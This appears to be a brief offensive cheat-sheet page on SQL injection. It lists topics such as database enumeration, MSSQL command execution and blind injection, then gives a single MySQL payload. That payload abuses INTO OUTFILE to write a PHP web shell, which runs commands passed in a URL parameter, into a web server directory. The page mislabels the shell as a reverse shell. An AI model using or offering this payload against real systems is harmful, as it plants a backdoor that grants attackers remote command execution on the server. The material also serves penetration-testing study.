Enumeration Steps

• SQL Enumeration Steps
• PostgreSQL Enumeration

MSSQL Command Execution sheet

• MSSQL_Command_Execution

Blind SQL injection

• Time-based SQL Injection
• Boolean-based SQL Injection

SQL Injection RCE

INTO OUTFILE

we can have a quick php rev shell using the INTO OUTFILE command in MySQL.

' UNION SELECT '<?php echo system($_GET["cmd"]);' INTO OUTFILE '/srv/http/cmd.php'; -- -